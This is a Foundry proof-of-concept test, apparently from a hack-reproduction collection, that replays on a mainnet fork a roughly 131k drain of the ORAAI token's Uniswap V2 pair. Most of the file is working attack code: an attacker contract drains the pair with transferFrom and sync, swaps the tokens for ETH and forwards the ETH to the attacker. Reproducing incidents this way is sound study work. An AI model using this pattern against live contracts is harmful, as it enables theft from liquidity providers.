src/test/2024-10/BUBAI_exp.sol

1pragma solidity ^0.8.10;
2 
3import "forge-std/Test.sol";
4import "../interface.sol";
5 
6// @KeyInfo - Total Lost : 131k
7// Attacker : https://etherscan.io/address/0xa60fae100d9c3d015c9cd7107f95cbacf58a1cbd
8// Attack Contract : 
9// Vulnerable Contract : 
10// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x1b4730e715286862042def956d5aaa6a53203ee02b97ea913de73fa462e48f90?line=0
11// Another Similar Tx : https://app.blocksec.com/explorer/tx/eth/0x872fcfcfd2e61ab5ec848f5e1a75b75f471bdb8c808c06388434e7179a9e40db
12 
13// @Info
14// Vulnerable Contract Code : 
15 
16// @Analysis
17// Post-mortem : https://x.com/TenArmorAlert/status/1851445795918118927
18// Twitter Guy : https://x.com/TenArmorAlert/status/1851445795918118927
19// Hacking God : N/A
20 
21address constant ORAAI = 0xB0f34bA1617BB7C2528e570070b8770E544b003E;
22address constant UniswapV2Pair = 0x6DABCbd75B29bf19C98a33EcAC2eF7d6E949D75D;
23address constant UniswapV2Router02 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
24address constant addr1 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
25address constant attacker = 0xa60fae100d9c3d015c9CD7107F95cBacF58A1CbD;
26address constant addr2 = 0xD15Ef15ec38a0DC4DA8948Ae51051cC40A41959b;
27 
28contract ContractTest is Test {
29    function setUp() public {
30        vm.createSelectFork("mainnet", 21074245);
31    }
32    
33    function testPoC() public {
34        emit log_named_decimal_uint("before attack: balance of attacker", address(attacker).balance, 18);
35        vm.startPrank(attacker, attacker);
36        AttackerC attC = new AttackerC();
37        vm.stopPrank();
38 
39        vm.startPrank(UniswapV2Pair);
40        IORAAI(ORAAI).approve(address(attC), type(uint256).max);
41        vm.stopPrank();
42        vm.startPrank(attacker, attacker);
43        attC.attack();
44        vm.stopPrank();
45        emit log_named_decimal_uint("after attack: balance of attacker", address(attacker).balance, 18);
46    }
47}
48 
49contract AttackerC is Test {
50    receive() external payable {}
51 
52    function attack() public {
53        IORAAI(ORAAI).approve(UniswapV2Router02, type(uint256).max);
54 
55        uint256 pairBal = IORAAI(ORAAI).balanceOf(UniswapV2Pair);
56 
57        IORAAI(ORAAI).transferFrom(UniswapV2Pair, address(this), pairBal - 100);
58 
59        (bool s1, ) = UniswapV2Pair.call(abi.encodeWithSelector(IUniV2Pair.sync.selector));
60        require(s1);
61    
62        uint256 bal = IORAAI(ORAAI).balanceOf(address(this));
63 
64        address weth = IUniswapV2Router02(UniswapV2Router02).WETH();
65 
66        address[] memory path = new address[](2);
67        path[0] = ORAAI;
68        path[1] = weth;
69        IUniswapV2Router02(UniswapV2Router02).swapExactTokensForETHSupportingFeeOnTransferTokens(
70            bal,
71            0,
72            path,
73            address(this),
74            block.timestamp
75        );
76 
77        payable(attacker).transfer(address(this).balance);
78    }
79}
80 
81interface IORAAI {
82	function balanceOf(address) external returns (uint256);
83	function transferFrom(address, address, uint256) external returns (bool);
84	function approve(address, uint256) external returns (bool);
85    function allowance(address, address) external returns (uint256);
86}
87 
88interface IUniswapV2Router02 {
89	function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256, uint256, address[] calldata, address, uint256) external;
90	function WETH() external returns (address); 
91}
92 
93interface IUniV2Pair {
94    function sync() external;
95}